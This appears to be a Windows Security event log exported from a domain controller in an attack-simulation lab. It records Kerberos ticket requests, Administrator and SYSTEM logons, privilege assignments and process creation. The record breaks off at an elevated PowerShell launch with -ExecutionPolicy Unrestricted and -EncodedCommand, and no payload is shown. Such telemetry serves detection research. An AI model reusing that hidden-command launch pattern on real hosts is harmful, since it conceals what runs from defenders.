{448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251731 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251816 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1442D7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251815 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1442D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251814 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251813 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251812 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251811 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x143CB6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251810 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1429A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251809 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x144231 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251808 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x144231 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64556 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251807 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x144231 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251806 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1441D0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251805 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1441D0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64555 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251804 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1441D0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251803 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x144163 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251802 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x144163 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64554 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251801 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x144163 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251800 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1440FF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251799 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1440FF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64553 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251798 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1440FF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251797 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x143CB6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251796 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x143CB6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251795 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251794 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251793 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251792 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11fc - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10b4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251791 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x135c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 